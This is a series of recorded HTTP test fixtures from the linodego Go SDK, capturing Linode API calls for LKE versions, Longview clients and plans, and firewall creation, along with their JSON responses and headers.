Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKEVersion_GetFound.yaml000066400000000000000000000027271455402072200320630ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/versions/1.23 method: GET response: body: '{"id": "1.23"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "14" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKEVersion_GetMissing.yaml000066400000000000000000000021031455402072200324050ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/versions/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKEVersions_List.yaml000066400000000000000000000030031455402072200314320ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/versions method: GET response: body: '{"data": [{"id": "1.23"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "63" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLongviewClient_Create.yaml000066400000000000000000000113071455402072200325150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: POST response: body: '{"id": 297873, "label": "testing", "api_key": "274D7DEB-393F-4AE8-AC231D11B441BE5F", "install_code": "659AE7C6-D98F-420A-B293031726EF75D1", "apps": {"apache": 0, "nginx": 0, "mysql": 0}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/297873 method: GET response: body: '{"id": 297873, "label": "testing", "api_key": "274D7DEB-393F-4AE8-AC231D11B441BE5F", "install_code": "659AE7C6-D98F-420A-B293031726EF75D1", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/297873 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLongviewClient_Delete.yaml000066400000000000000000000142501455402072200325140ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: POST response: body: '{"id": 297875, "label": "testing", "api_key": "2B2EB2AD-C41B-4722-853D15EBA92B191B", "install_code": "82B4250B-86D5-4825-AAEFC9AB6A825052", "apps": {"apache": 0, "nginx": 0, "mysql": 0}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/297875 method: GET response: body: '{"id": 297875, "label": "testing", "api_key": "2B2EB2AD-C41B-4722-853D15EBA92B191B", "install_code": "82B4250B-86D5-4825-AAEFC9AB6A825052", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/297875 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLongviewClient_Get.yaml000066400000000000000000000147051455402072200320360ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: POST response: body: '{"id": 297872, "label": "testing", "api_key": "D8AD6A15-AD2C-4DC0-BC981E738E988264", "install_code": "EE8FF29F-758D-49B5-ABD783AE322950D2", "apps": {"apache": 0, "nginx": 0, "mysql": 0}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/297872 method: GET response: body: '{"id": 297872, "label": "testing", "api_key": "D8AD6A15-AD2C-4DC0-BC981E738E988264", "install_code": "EE8FF29F-758D-49B5-ABD783AE322950D2", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: GET response: body: '{"data": [{"id": 297872, "label": "testing", "api_key": "D8AD6A15-AD2C-4DC0-BC981E738E988264", "install_code": "EE8FF29F-758D-49B5-ABD783AE322950D2", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "315" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/297872 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLongviewClient_List.yaml000066400000000000000000000027761455402072200322370ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLongviewClient_Update.yaml000066400000000000000000000112201455402072200325260ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: POST response: body: '{"id": 297876, "label": "testing", "api_key": "9B4E29A0-E339-4E16-A86540CD6F847A31", "install_code": "8BCA03D4-307D-4899-B22F58C6C28700BE", "apps": {"apache": 0, "nginx": 0, "mysql": 0}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"testing_updated"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/297876 method: PUT response: body: '{"id": 297876, "label": "testing_updated", "api_key": "9B4E29A0-E339-4E16-A86540CD6F847A31", "install_code": "8BCA03D4-307D-4899-B22F58C6C28700BE", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "274" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/297876 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLongviewPlan_Get.yaml000066400000000000000000000027131455402072200315060ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/plan method: GET response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLongviewPlan_Update.yaml000066400000000000000000000104661455402072200322150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/plan method: GET response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"longview_subscription":"longview-10"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/plan method: PUT response: body: '{"id": "longview-10", "label": "Longview Pro 10 pack", "price": {"hourly": 0.06, "monthly": 40.0}, "clients_included": 10}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "122" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"longview_subscription":""}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/plan method: PUT response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerConfig_Create.yaml000066400000000000000000000620751455402072200332370ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228216, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev 